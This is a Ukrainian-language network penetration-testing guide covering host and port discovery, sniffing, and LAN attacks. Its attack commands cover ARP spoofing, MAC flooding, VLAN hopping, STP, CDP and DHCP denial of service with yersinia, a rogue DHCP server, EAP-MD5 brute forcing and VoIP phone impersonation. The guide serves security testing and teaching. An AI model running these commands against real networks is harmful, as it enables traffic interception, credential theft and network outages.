Як виявити активні IP-адреси в Інтернеті. Практичний посібник

13 березня 2024 13 хвилин Автор: Cyber Witcher

Комплексне керівництво з тестування мережевої безпеки. Розглядаються різні методи та інструменти, необхідні для ефективного проведення пентестинга сетей. Основна увага передбачає виявлення хостів як із зовнішньої, так і з внутрішньої сторони мережі, а також різними техніками сканування портів і служб.

Мережа пентестування

Це буде короткий розділ про те, як знайти IP-адреси, що відповідають з Інтернету . У цій ситуації у вас є певний діапазон IP-адрес (можливо, навіть кілька діапазонів ), і вам просто потрібно знайти, які IP-адреси відповідають .

ICMP

Це найпростіший і найшвидший спосіб дізнатися, чи працює хост чи ні. Ви можете спробувати надіслати пакети ICMP і очікувати відповіді . Найпростіший спосіб – просто надіслати ехо-запит і очікувати від нього відповіді. Ви можете зробити це за допомогою простого pingабо використання fpingfor ranges . Ви також можете використовувати nmap для надсилання інших типів пакетів ICMP (це дозволить уникнути фільтрів для загального ICMP ехо-запиту-відповіді).

ping -c 1 199.66.11.4    # 1 echo request to a host
fping -g 199.66.11.0/24  # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests

Виявлення порту TCP

Дуже часто можна виявити, що всі типи пакетів ICMP фільтруються. Тоді все, що ви можете зробити, щоб перевірити, чи хост працює, це спробувати знайти відкриті порти . Кожен хост має 65535 портів , тому, якщо у вас “великий” діапазон, ви не можете перевірити, чи відкритий кожен порт кожного хоста чи ні, це займе надто багато часу. Тоді вам потрібен швидкий сканер портів ( masscan ) і список найбільш використовуваних портів:

#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24

Ви також можете виконати цей крок за допомогою nmap, але він повільніший і nmapмає деякі проблеми з ідентифікацією хостів.

Виявлення портів HTTP

Це просто виявлення порту TCP, корисне, коли ви хочете зосередитися на виявленні служб HTTP :

masscan -p80,443,8000-8100,8443 199.66.11.0/24

Виявлення порту UDP

Ви також можете спробувати перевірити, чи відкритий порт UDP , щоб вирішити, чи варто приділяти більше уваги хосту . Оскільки служби UDP зазвичай не відповідають жодними даними на звичайний порожній тестовий пакет UDP, важко сказати, чи порт фільтрується чи відкритий. Найпростіший спосіб вирішити це – надіслати пакет, пов’язаний із запущеною службою, і оскільки ви не знаєте, яка служба запущена, вам слід спробувати найбільш ймовірну на основі номера порту:

nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable

Рядок nmap, запропонований раніше, тестуватиме 1000 найкращих портів UDP на кожному хості в межах діапазону /24 , але навіть це займе більше 20 хвилин . Якщо потрібні найшвидші результати , ви можете використати udp-proto-scanner : ./udp-proto-scanner.pl 199.66.11.53/24це надішле ці UDP-зонди до очікуваного порту (для діапазону /24 це займе лише 1 хвилину): DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen , citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, час, xdmcp.

Виявлення порту SCTP

#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>

Виявлення господарів зсередини

Якщо ви перебуваєте всередині мережі, одна з перших речей, яку ви захочете зробити, це виявити інші хости . Залежно від того, скільки шуму ви можете/бажаєте зробити, можна виконувати різні дії:

пасивний

Ви можете використовувати ці інструменти для пасивного виявлення хостів у підключеній мережі:

netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
Активний

Зауважте, що методи, прокоментовані в розділі Виявлення хостів ззовні ( TCP/HTTP/UDP/SCTP Port Discovery ), також можна застосувати тут . Але оскільки ви перебуваєте в одній мережі з іншими хостами, ви можете робити більше речей :

#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)

#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain

# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)

#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.

Активний ICMP

  • Якщо ви пінгуєте широкомовну адресу підмережі, пінг має надійти до кожного хоста , і вони зможуть відповісти вам :ping -b 10.10.5.255

  • Пропонуючи мережеву широкомовну адресу, ви навіть можете знайти хости в інших підмережах :ping -b 255.255.255.255

  • Використовуйте прапорці -PE, -PP, для виявлення хосту, надсилаючи відповідно запити ICMPv4 echo , timestamp і маски підмережі:-PMnmap nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24

Wake On Lan

Wake On Lan використовується для ввімкнення комп’ютерів за допомогою мережевого повідомлення . Чарівний пакет, який використовується для ввімкнення комп’ютера, — це лише пакет, у якому надається MAC Dst , а потім він повторюється 16 разів у тому самому пакеті. Тоді такі пакети зазвичай надсилаються в Ethernet 0x0842 або в UDP-пакеті на порт 9 . Якщо [MAC] не надано, пакет надсилається до широкомовної мережі Ethernet (і буде повторюватися широкомовний MAC).

# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9

Сканування хостів

Після того, як ви виявите всі IP-адреси (зовнішні чи внутрішні), які хочете детально сканувати, можна виконувати різні дії.

TCP

  • Відкрити порт: SYN –> SYN/ACK –> RST

  • Закритий порт: SYN –> RST/ACK

  • Відфільтрований порт: SYN –> [НЕМАЄ ВІДПОВІДІ]

  • Відфільтрований порт: SYN –> повідомлення ICMP

# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP> 
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP> 
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>

#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000

UDP

Існує 2 варіанти сканування порту UDP:

  • Надішліть UDP-пакет і перевірте відповідь ICMP недоступний, якщо порт закритий (у деяких випадках ICMP буде відфільтровано , тому ви не отримаєте жодної інформації, якщо порт закритий або відкритий).

  • Надсилайте відформатовані дейтаграми , щоб отримати відповідь від служби (наприклад, DNS, DHCP, TFTP та інших, як зазначено в nmap-payloads ). Якщо ви отримали відповідь , значить, порт відкритий .

Nmap змішає обидва параметри за допомогою “-sV” (сканування UDP дуже повільне), але зауважте, що сканування UDP повільніше, ніж сканування TCP:

# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP> 
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP> 
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time

Сканування SCTP

SCTP (Stream Control Transmission Protocol) призначений для використання разом із TCP (Transmission Control Protocol) і UDP (User Datagram Protocol) . Його головна мета полягає в тому, щоб полегшити передачу телефонних даних через IP-мережі, віддзеркалюючи багато функцій надійності, знайдених у Signaling System 7 (SS7) . SCTP є основним компонентом сімейства протоколів SIGTRAN , який призначений для транспортування сигналів SS7 через IP-мережі.

Підтримка SCTP забезпечується різними операційними системами, такими як IBM AIX , Oracle Solaris , HP-UX , Linux , Cisco IOS і VxWorks , що вказує на його широке визнання та корисність у сфері телекомунікацій і мереж.

Nmap пропонує два різних сканування для SCTP: -sY та -sZ

# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>

Розкриття внутрішніх IP-адрес

Неправильно налаштовані маршрутизатори, брандмауери та мережеві пристрої іноді відповідають на мережеві зонди, використовуючи непублічні адреси джерел . tcpdump можна використовувати для ідентифікації пакетів, отриманих із приватних адрес під час тестування. Зокрема, у Kali Linux пакети можна захоплювати через інтерфейс eth2 , який доступний із загальнодоступного Інтернету. Важливо зауважити, що якщо ваші налаштування знаходяться за NAT або брандмауером, такі пакети, ймовірно, будуть відфільтровані.

tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64

Обнюхування

Переглядаючи захоплені кадри та пакети, ви можете дізнатися подробиці про діапазони IP-адрес, розміри підмереж, MAC-адреси та імена хостів. Якщо мережа налаштована неправильно або перемикається мережа під напругою, зловмисники можуть захопити конфіденційний матеріал за допомогою пасивного мережевого перехоплення.

Якщо комутовану мережу Ethernet налаштовано належним чином, ви побачите лише широкомовні кадри та матеріали, призначені для вашої MAC-адреси.

TCPDump

sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"

Можна також захоплювати пакети з віддаленої машини через сеанс SSH за допомогою графічного інтерфейсу Wireshark у режимі реального часу.

ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic

Bettercap

net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local  #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered

Wireshark

Очевидно.

Захоплення облікових даних. Ви можете використовувати такі інструменти, як https://github.com/lgandx/PCredz , щоб аналізувати облікові дані з pcap або живого інтерфейсу.

LAN атаки

Підробка ARP

ARP Spoofing полягає в надсиланні безкоштовних ARPRResponses, щоб вказати, що IP-адреса машини має MAC-адресу нашого пристрою. Тоді жертва змінить таблицю ARP і зв’яжеться з нашою машиною кожного разу, коли захоче зв’язатися з підробленим IP-адресою.

Bettercap
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)

Arpspoof

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1

MAC Flooding – переповнення CAM

Переповнює таблицю CAM комутатора, надсилаючи багато пакетів з різними MAC-адресами джерела. Коли таблиця CAM заповнена, комутатор починає поводитися як концентратор (передаючи весь трафік).

macof -i <interface>

У сучасних комутаторах ця вразливість була виправлена.

Атаки 802.1Q VLAN / DTP

Динамічний транкінг

Dynamic Trunking Protocol (DTP) розроблений як протокол канального рівня для полегшення автоматичної системи транкінгу, дозволяючи комутаторам автоматично вибирати порти для режиму магістралі (Trunk) або режиму без магістралі. Розгортання DTP часто розглядається як ознака неоптимального дизайну мережі, що підкреслює важливість ручного налаштування транків лише там, де це необхідно, і забезпечення належної документації.

За замовчуванням порти комутатора налаштовані на роботу в динамічному автоматичному режимі, тобто вони готові ініціювати транкінг за запитом сусіднього комутатора. Занепокоєння щодо безпеки виникає, коли пентестер або зловмисник підключається до комутатора та надсилає кадр DTP Desirable, змушуючи порт перейти в режим магістралі. Ця дія дозволяє зловмиснику нумерувати VLAN за допомогою аналізу кадрів STP і обходити сегментацію VLAN, налаштовуючи віртуальні інтерфейси.

Наявність DTP у багатьох комутаторах за замовчуванням може бути використана зловмисниками для імітації поведінки комутатора, таким чином отримуючи доступ до трафіку в усіх VLAN. Сценарій dtpscan.sh використовується для моніторингу інтерфейсу, показуючи, чи перебуває комутатор у режимі за замовчуванням, магістралі, динамічному, автоматичному або режимі доступу — останній є єдиною конфігурацією, захищеною від атак зі стрибками VLAN. Цей інструмент оцінює статус вразливості комутатора.

У разі виявлення вразливості мережі інструмент Yersinia може бути використаний для «увімкнення транкінгу» через протокол DTP, дозволяючи спостерігати за пакетами з усіх VLAN.

apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"

yersinia -G #For graphic mode

Щоб перерахувати VLAN, також можна створити кадр DTP Desirable за допомогою сценарію DTPHijacking.py . Ні за яких обставин не переривайте сценарій. Він вводить DTP Desirable кожні три секунди. Динамічно створювані магістральні канали на комутаторі працюють лише п’ять хвилин. Через п’ять хвилин стовбур відвалюється.

sudo python3 DTPHijacking.py --interface eth0

Я хотів би зазначити, що Access/Desirable (0x03) вказує на те, що кадр DTP має бажаний тип, який повідомляє порту про перемикання в режим Trunk. А 802.1Q/802.1Q (0xa5 ) вказує на тип інкапсуляції 802.1Q .

Аналізуючи кадри STP, ми дізнаємося про існування VLAN 30 і VLAN 60.

Атака на певні VLAN

Коли вам відомі значення ідентифікаторів VLAN та IP-адрес, ви можете налаштувати віртуальний інтерфейс для атаки на певну VLAN . Якщо DHCP недоступний, використовуйте ifconfig , щоб встановити статичну IP-адресу.

root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250  Link encap:Ethernet  HWaddr 00:0e:c6:f0:29:65
          inet addr:10.121.5.86  Bcast:10.121.5.255  Mask:255.255.255.0
          inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:19 errors:0 dropped:0 overruns:0 frame:0
          TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:2206 (2.1 KiB)  TX bytes:1654 (1.6 KiB)

root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30

Автоматичний бункер VLAN

Обговорювана атака динамічного транкінгу та створення віртуальних інтерфейсів для виявлення хостів в інших мережах VLAN автоматично виконується інструментом: https://github.com/nccgroup/vlan-hopping—frogger

Подвійне тегування

Якщо зловмисник знає значення MAC-адреси, IP-адреси та ідентифікатора VLAN хоста-жертви , він може спробувати подвійно позначити кадр за допомогою його призначеної VLAN і VLAN жертви та надіслати пакет. Оскільки жертва не зможе з’єднатися зі зловмисником, найкращим варіантом для зловмисника є зв’язок через UDP із протоколами, які можуть виконувати деякі цікаві дії (наприклад, SNMP).

Іншим варіантом для зловмисника є запуск сканування TCP-порту з підробкою IP-адреси, контрольованої зловмисником і доступною для жертви (ймовірно, через Інтернет). Тоді зловмисник може пронюхати другий хост, який йому належить, якщо він отримує пакети від жертви.

Щоб виконати цю атаку, ви можете використовувати scapy: pip install scapy

from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)

Бічний обхід сегментації VLAN

Якщо у вас є доступ до комутатора, до якого ви безпосередньо підключені , ви можете обійти сегментацію VLAN у мережі. Просто перемкніть порт у режим магістралі (інакше відомий як транк), створіть віртуальні інтерфейси з ідентифікаторами цільових VLAN і налаштуйте IP-адресу. Ви можете спробувати запитати адресу динамічно (DHCP) або налаштувати її статично. Це залежить від випадку.

Обхід приватної VLAN рівня 3

У певних середовищах, наприклад у гостьових бездротових мережах, реалізовано параметри ізоляції портів (також відомі як приватна VLAN), щоб запобігти безпосередньому спілкуванню один з одним клієнтами, підключеними до бездротової точки доступу. Однак було виявлено техніку, яка може обійти ці заходи ізоляції. Ця техніка використовує або відсутність мережевих ACL, або їх неправильну конфігурацію, дозволяючи маршрутизувати IP-пакети через маршрутизатор для досягнення іншого клієнта в тій же мережі.

Атака виконується шляхом створення пакету, який містить IP-адресу кінцевого клієнта, але з MAC-адресою маршрутизатора . Це призводить до того, що маршрутизатор помилково пересилає пакет цільовому клієнту. Цей підхід схожий на той, що використовується в атаках із подвійним тегом, де можливість контролювати доступний для жертви хост використовується для використання недоліку безпеки.

Основні етапи атаки:

  • Створення пакета: Пакет спеціально створений для включення IP-адреси цільового клієнта, але з MAC-адресою маршрутизатора.

  • Експлуатація поведінки маршрутизатора: створений пакет надсилається до маршрутизатора, який, завдяки конфігурації, перенаправляє пакет до цільового клієнта, минаючи ізоляцію, яку забезпечують налаштування приватної VLAN.

VTP атаки

VTP (VLAN Trunking Protocol) централізує керування VLAN. Він використовує номери версій для підтримки цілісності бази даних VLAN; будь-яка модифікація збільшує це число. Комутатори приймають конфігурації з більш високими номерами версій, оновлюючи власні бази даних VLAN.

Ролі домену VTP

  • Сервер VTP: керує VLAN — створює, видаляє, змінює. Він транслює оголошення VTP членам домену.

  • Клієнт VTP: отримує оголошення VTP для синхронізації бази даних VLAN. Ця роль обмежена модифікаціями локальної конфігурації VLAN.

  • Прозорий VTP: не бере участь в оновленнях VTP, але пересилає оголошення VTP. На нього не впливають атаки VTP, він підтримує постійний нульовий номер версії.

Види реклами VTP

  • Підсумкова реклама: транслюється сервером VTP кожні 300 секунд і містить важливу інформацію про домен.

  • Оголошення підмножини: надіслано після змін конфігурації VLAN.

  • Запит оголошення: надсилається клієнтом VTP для запиту підсумкового оголошення, зазвичай у відповідь на виявлення вищого номера версії конфігурації.

Уразливості VTP можна використовувати виключно через магістральні порти, оскільки оголошення VTP поширюються виключно через них. Сценарії атаки після DTP можуть наблизитися до VTP. Такі інструменти, як Yersinia, можуть полегшити атаки VTP, спрямовані на знищення бази даних VLAN, фактично порушуючи роботу мережі.

Примітка. Це обговорення стосується VTP версії 1 (VTPv1)

%% yersinia -G # Launch Yersinia in graphical mode ```

У графічному режимі Yersinia виберіть параметр видалення всіх vlan VTP, щоб очистити базу даних VLAN.

STP атаки

Якщо ви не можете захопити кадри BPDU на своїх інтерфейсах, малоймовірно, що ви досягнете успіху в атаці STP.

STP BPDU DoS

Надсилаючи багато BPDU TCP (повідомлення про зміну топології) або Conf (BPDU, які надсилаються під час створення топології), комутатори перевантажуються та перестають працювати належним чином.

yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
STP TCP атака

Після надсилання TCP таблицю CAM комутаторів буде видалено через 15 секунд. Потім, якщо ви безперервно надсилаєте такі пакети, таблиця CAM буде постійно перезапускатися (або кожні 15 секунд), і коли її перезавантажувати, комутатор буде працювати як концентратор.

yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
Коренева атака STP

Зловмисник імітує поведінку комутатора, щоб стати коренем STP мережі. Тоді через нього пройде більше даних. Це цікаво, коли ви підключені до двох різних комутаторів. Це робиться шляхом надсилання пакетів CONF BPDU, які повідомляють, що значення пріоритету менше фактичного пріоритету фактичного кореневого комутатора.

yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root

Якщо зловмисник підключений до 2 комутаторів, він може бути коренем нового дерева, і весь трафік між цими комутаторами проходитиме через нього (буде виконано MITM-атаку)

yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages

Атаки CDP

Протокол CISCO Discovery Protocol (CDP) необхідний для зв’язку між пристроями CISCO, дозволяючи їм ідентифікувати один одного та обмінюватися деталями конфігурації .

Пасивний збір даних

CDP налаштовано на трансляцію інформації через усі порти, що може призвести до загрози безпеці. Зловмисник, підключившись до порту комутатора, може розгорнути мережеві сніфери, такі як Wireshark , tcpdump або Yersinia . Ця дія може виявити конфіденційні дані про мережевий пристрій, включаючи його модель і версію Cisco IOS, на якому він працює. Тоді зловмисник може націлитися на конкретні вразливості в ідентифікованій версії Cisco IOS.

Спричинення затоплення таблиці CDP

Більш агресивний підхід передбачає запуск атаки на відмову в обслуговуванні (DoS) шляхом перевантаження пам’яті комутатора, видаючи себе за легітимні пристрої CISCO. Нижче наведено послідовність команд для ініціювання такої атаки за допомогою Yersinia, мережевого інструменту, призначеного для тестування:

sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G

Під час цієї атаки центральний процесор і сусідня таблиця CDP комутатора сильно навантажуються, що призводить до того, що часто називають «паралічем мережі» через надмірне споживання ресурсів.

CDP уособлення
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet

Ви також можете використовувати scapy . Обов’язково встановіть його разом з scapy/contribпакетом.

VoIP Attacks і VoIP Hopper Tool

Телефони VoIP, які все більше інтегруються з пристроями Інтернету речей, пропонують такі функції, як розблокування дверей або керування термостатами за допомогою спеціальних телефонних номерів. Однак така інтеграція може становити загрозу безпеці.

Інструмент voiphopper розроблено для емуляції телефону VoIP у різних середовищах (Cisco, Avaya, Nortel, Alcatel-Lucent). Він визначає ідентифікатор VLAN голосової мережі за допомогою таких протоколів, як CDP, DHCP, LLDP-MED і 802.1Q ARP.

VoIP Hopper пропонує три режими для Cisco Discovery Protocol (CDP):

  1. Режим Sniff ( -c 0): аналізує мережеві пакети для визначення ідентифікатора VLAN.

  2. Режим підробки ( -c 1): генерує власні пакети, що імітують справжній пристрій VoIP.

  3. Підробка з режимом попередньо створених пакетів ( -c 2): надсилає пакети, ідентичні пакетам конкретної моделі IP-телефону Cisco.

Кращим режимом для швидкості є третій. Вимагає вказати:

  • Мережевий інтерфейс зловмисника ( -iпараметр).

  • Ім’я емулюваного VoIP-пристрою ( -Eпараметр), що відповідає формату іменування Cisco (наприклад, SEP, за яким слід MAC-адреса).

У корпоративних налаштуваннях, щоб імітувати існуючий пристрій VoIP, можна:

  • Перегляньте етикетку MAC на телефоні.

  • Перейдіть до налаштувань дисплея телефону, щоб переглянути інформацію про модель.

  • Підключіть пристрій VoIP до ноутбука та спостерігайте за запитами CDP за допомогою Wireshark.

Прикладом команди для виконання інструменту в третьому режимі буде:

voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2

Атаки DHCP

Перерахування
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover: 
|   Response 1 of 1: 
|     IP Offered: 192.168.1.250
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds

DoS

Проти серверів DHCP можна застосувати два типи DoS . Перший полягає в симуляції достатньої кількості підроблених хостів для використання всіх можливих IP-адрес . Ця атака спрацює, лише якщо ви бачите відповіді сервера DHCP і завершуєте протокол ( Discover (Comp) –> Offer (server) –> Request (Comp) –> ACK (server)). Наприклад, це неможливо в мережах Wi-Fi .

Інший спосіб виконати DHCP DoS — надіслати пакет DHCP-RELEASE, використовуючи як вихідний код усі можливі IP-адреси . Тоді сервер вважатиме, що всі закінчили використовувати IP-адресу.

yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed

Більш автоматичний спосіб зробити це — використовувати інструмент DHCPing

Ви можете використовувати згадані атаки DoS, щоб змусити клієнтів отримати нові оренди в середовищі та виснажити законні сервери, щоб вони перестали відповідати. Отже, коли законна спроба повторно підключитися, ви можете серверувати шкідливі значення, згадані в наступній атаці .

Встановіть шкідливі значення

Підроблений сервер DHCP можна налаштувати за допомогою сценарію DHCP, розташованого за адресою /usr/share/responder/DHCP.py. Це корисно для мережевих атак, як-от захоплення HTTP-трафіку та облікових даних шляхом перенаправлення трафіку на зловмисний сервер. Однак встановлення фальшивого шлюзу є менш ефективним, оскільки воно дозволяє перехоплювати лише вихідний трафік від клієнта, пропускаючи відповіді від справжнього шлюзу. Натомість для більш ефективної атаки рекомендується налаштувати фальшивий сервер DNS або WPAD.

Нижче наведено параметри команд для налаштування фальшивого сервера DHCP:

  • Наша IP-адреса (реклама шлюзу) : використовуйте -i 10.0.0.100для оголошення IP-адреси вашого комп’ютера як шлюзу.

  • Місцеве доменне ім’я DNS : за бажанням використовуйте -d example.orgдля встановлення локального доменного імені DNS.

  • Оригінальна IP-адреса маршрутизатора/шлюзу : використовуйте -r 10.0.0.1для вказівки IP-адреси законного маршрутизатора або шлюзу.

  • IP-адреса основного DNS-сервера : використовується -p 10.0.0.100для встановлення IP-адреси підробленого DNS-сервера, яким ви керуєте.

  • IP-адреса вторинного DNS-сервера : за бажанням використовуйте -s 10.0.0.1для встановлення IP-адреси вторинного DNS-сервера.

  • Маска мережі локальної мережі : використовуйте -n 255.255.255.0для визначення маски мережі для локальної мережі.

  • Інтерфейс для трафіку DHCP : використовуйте -I eth1для прослуховування трафіку DHCP на певному мережевому інтерфейсі.

  • Адреса конфігурації WPAD : Використовуйте -w “http://10.0.0.100/wpad.dat”для встановлення адреси конфігурації WPAD, яка допомагає перехоплювати веб-трафік.

  • Підробити IP-адресу шлюзу за замовчуванням : включити -Sдля підробки IP-адреси шлюзу за замовчуванням.

  • Відповідати на всі запити DHCP : увімкніть -R, щоб змусити сервер відповідати на всі запити DHCP, але майте на увазі, що це створює шум і може бути виявлено.

Правильно використовуючи ці параметри, можна встановити фальшивий сервер DHCP для ефективного перехоплення мережевого трафіку.

# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R

Атаки EAP

Ось деякі з тактик атаки, які можна використовувати проти реалізацій 802.1X:

  • Активне шліфування пароля методом грубої сили через EAP

  • Атака на сервер RADIUS з некоректним вмістом EAP ** (експлойти)

  • Перехоплення повідомлень EAP і злом паролів офлайн (EAP-MD5 і PEAP)

  • Примусова автентифікація EAP-MD5 в обхід перевірки сертифіката TLS

  • Впровадження зловмисного мережевого трафіку після автентифікації за допомогою концентратора або подібного

Якщо зловмисник знаходиться між жертвою та сервером автентифікації, він може спробувати знизити (якщо необхідно) протокол автентифікації до EAP-MD5 і зафіксувати спробу автентифікації. Потім він міг б зробити це грубою силою, використовуючи:

eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt

Атаки FHRP (GLBP і HSRP).

FHRP (First Hop Redundancy Protocol) — це клас мережевих протоколів, призначених для створення системи маршрутизації з гарячим резервуванням . За допомогою FHRP фізичні маршрутизатори можна об’єднати в один логічний пристрій, що підвищує відмовостійкість і допомагає розподіляти навантаження.

RIP

Відомо, що існують три версії протоколу інформації про маршрутизацію (RIP): RIP, RIPv2 і RIPng. Дейтаграми надсилаються вузлам через порт 520 за допомогою UDP через RIP і RIPv2, тоді як дейтаграми транслюються на UDP-порт 521 через групову розсилку IPv6 через RIPng. Підтримка аутентифікації MD5 була представлена ​​RIPv2. З іншого боку, власна автентифікація не включена в RIPng; натомість покладається на додаткові заголовки IPsec AH та ESP у IPv6.

  • RIP і RIPv2: зв’язок здійснюється через датаграми UDP на порту 520.

  • RIPng: використовує UDP-порт 521 для широкомовної передачі дейтаграм через групову розсилку IPv6.

Зауважте, що RIPv2 підтримує автентифікацію MD5, тоді як RIPng не включає власну автентифікацію, покладаючись на заголовки IPsec AH та ESP у IPv6.

Атаки EIGRP

EIGRP (Enhanced Interior Gateway Routing Protocol) — це протокол динамічної маршрутизації. Це дистанційно-векторний протокол. Якщо немає автентифікації та конфігурації пасивних інтерфейсів, зловмисник може втручатися в маршрутизацію EIGRP і викликати отруєння таблиць маршрутизації . Крім того, мережа EIGRP (інакше кажучи, автономна система) є плоскою і не має сегментації на зони . Якщо зловмисник впровадить маршрут , імовірно, цей маршрут пошириться по всій автономній системі EIGRP.

Для атаки на систему EIGRP потрібно встановити сусідство з законним маршрутом EIGRP r, що відкриває багато можливостей, від базової розвідки до різноманітних ін’єкцій.

